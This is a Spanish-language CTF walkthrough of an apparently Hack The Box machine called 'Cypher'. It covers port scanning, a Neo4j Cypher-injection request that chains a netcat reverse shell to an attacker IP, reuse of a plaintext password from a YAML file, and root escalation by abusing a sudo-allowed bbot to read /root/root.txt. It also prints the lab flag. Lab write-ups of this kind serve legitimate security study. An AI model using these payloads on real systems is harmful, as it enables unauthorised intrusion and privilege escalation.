Máquinas/CTF

Máquina resuelta


1. Escaneo de puertos tcp

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

2- Enumeración y escalado

Enumeramos con Gobuster posibles directorios o endpoints de la aplicación:

/index                (Status: 200) [Size: 4562]
/about                (Status: 200) [Size: 4986]
/login                (Status: 200) [Size: 3671]
/demo                 (Status: 307) [Size: 0] [--> /login]
/api                  (Status: 307) [Size: 0] [--> /api/docs]
/testing              (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]

Si nos dirigimos a la pagina testing, vemos que podemos descargar el archivo custom-apoc-extension-1.0-SNAPSHOT.jar, en el que basicamente podemos ver la siguiente función:

public class CustomFunctions {
@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
    if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))
    url = "https://" + url; 
    String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
    System.out.println("Command: " + Arrays.toString((Object[])command));
    Process process = Runtime.getRuntime().exec(command);
    BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
    BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
    StringBuilder errorOutput = new StringBuilder();
    String line;
    while ((line = errorReader.readLine()) != null)
    errorOutput.append(line).append("\n"); 
    String statusCode = inputReader.readLine();
    System.out.println("Status code: " + statusCode);
    boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
    if (!exited) {
    process.destroyForcibly();
    statusCode = "0";
    System.err.println("Process timed out after 10 seconds");
    } else {
    int exitCode = process.exitValue();
    if (exitCode != 0) {
        statusCode = "0";
        System.err.println("Process exited with code " + exitCode);
    } 
    } 
    if (errorOutput.length() > 0)
    System.err.println("Error output:\n" + errorOutput.toString()); 
    return Stream.of(new StringOutput(statusCode));
}

public static class StringOutput {
    public String statusCode;
    
    public StringOutput(String statusCode) {
    this.statusCode = statusCode;
    }
}
}

Ahora si en la API realizamos un descubrimiento de endpoints, descubrimos que existe uno llamado /api/auth, en el que se realiza una peticiónn POST, de la siguiente manera:

POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 39

{"username":"test",
"password":"test"}

Por lo que podemos ver, dicha aplicación utiliza neo4j, y buscando por internet descubrimos que existe un exploit para poder ejecutar código aprovechando una vulnerbilidad de inyección de código. Siguiéndolo, podemos ejecutar una revershell lanzando la siguiente petición:

# nc -lvnp 9001

Y la petición:

POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 192

{"username":"a' return h.value as a UNION CALL custom.getUrlStatusCode(\"http://10.10.14.67:80;busybox nc 10.10.14.67 9001 -e sh;#\") YIELD statusCode AS a RETURN a;// ","password":"password"}

Obteniendo así una shell en el equipo como el usuario neo4j.

 

3. Movimiento lateral

Podemos listar el contenido del directorio "home" del usuario graphasm y en el podemos ver un archivo llamado bbot_preset.yml, con el siguiente contenido:

targets:
- ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
modules:
    neo4j:
    username: neo4j
    password: cU4btyib.20xtCMCXkBmerhK

Probamos a iniciar sesion con el usuario graphasm y dichas credenciales graphasm:cU4btyib.20xtCMCXkBmerhK, y observamos como damos conseguido acceso, obteniendo así la flag de usuario.

 

4. Escalado de privilegios

Podemos ver si el usuario graphasm tiene algún privilegio a nivel de sudoers, ejecutando para ello sudo -l y descubriendo lo siguiente:

Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

Vemos que bbot se trata de una especie de herramienta de osint. Si lanzamos # sudo bbot -h, nos lista los comandos posibles, y vemos que tiene la siguiente opción:

-c [CONFIG ...], --config [CONFIG ...]
        Custom config options in key=value format: e.g. 'modules.shodan.api_key=1234'

Es decir, nos permite cargar un archivo de configuración, y en consecuencia leerlo. Por lo que si cargamos el archivo /root/root.txt, y de algún modo nos lista su contenido en los logs o en la salida de dicha aplicación, podremos obtener la flag.

Revisando entre las opciones vemos una flag "-d" para activar el modo debug, y una flag --dry-run que hace Abort before executing scan. Por lo que lanzamos el siguiente comando:

# sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run

Y vemos que obtenemos la flag de root, printeada en la salida de la herramienta:

[DBUG] internal.excavate: Including Submodule NonHttpSchemeExtractor
[DBUG] internal.excavate: Including Submodule ParameterExtractor
[DBUG] internal.excavate: Parameter Extraction disabled because no modules consume WEB_PARAMETER events
[DBUG] internal.excavate: Including Submodule SerializationExtractor
[DBUG] internal.excavate: Including Submodule URLExtractor
[DBUG] internal.excavate: Successfully loaded custom yara rules file [/root/root.txt]
[DBUG] internal.excavate: Final combined yara rule contents: 837975ff0f6abd3cc6e961627dd8fa20